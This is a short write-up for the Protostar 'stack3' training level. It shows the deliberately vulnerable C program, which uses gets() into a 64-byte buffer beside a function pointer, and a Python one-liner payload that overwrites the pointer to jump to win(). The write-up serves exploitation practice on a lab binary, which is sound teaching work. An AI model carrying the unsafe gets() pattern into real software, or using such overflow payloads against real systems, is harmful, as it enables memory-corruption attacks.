stack3

TL;DR -> `python -c "print 'A'*64 + '\x24\x84\x04\x08'" | ./stack3`

Stack3

URL: https://exploit.education/protostar/stack-three/ Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)

Hints

  • both gdb and objdump is your friend you determining where the win() function lies in memory. This level is at /opt/protostar/bin/stack3

Source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Writeup

It is similar to stack1, the only difference is that, we have to redirect the code execution to other (win) function.

we can easily get the address of win function in GDB using x win

So the address of the win function is 0x8048424.

Payload: python -c "print 'A'*64 + '\x24\x84\x04\x08'"

One liner solution: python -c "print 'A'*64 + '\x24\x84\x04\x08'" | ./stack3

Previousstack2Nextstack4

Last updated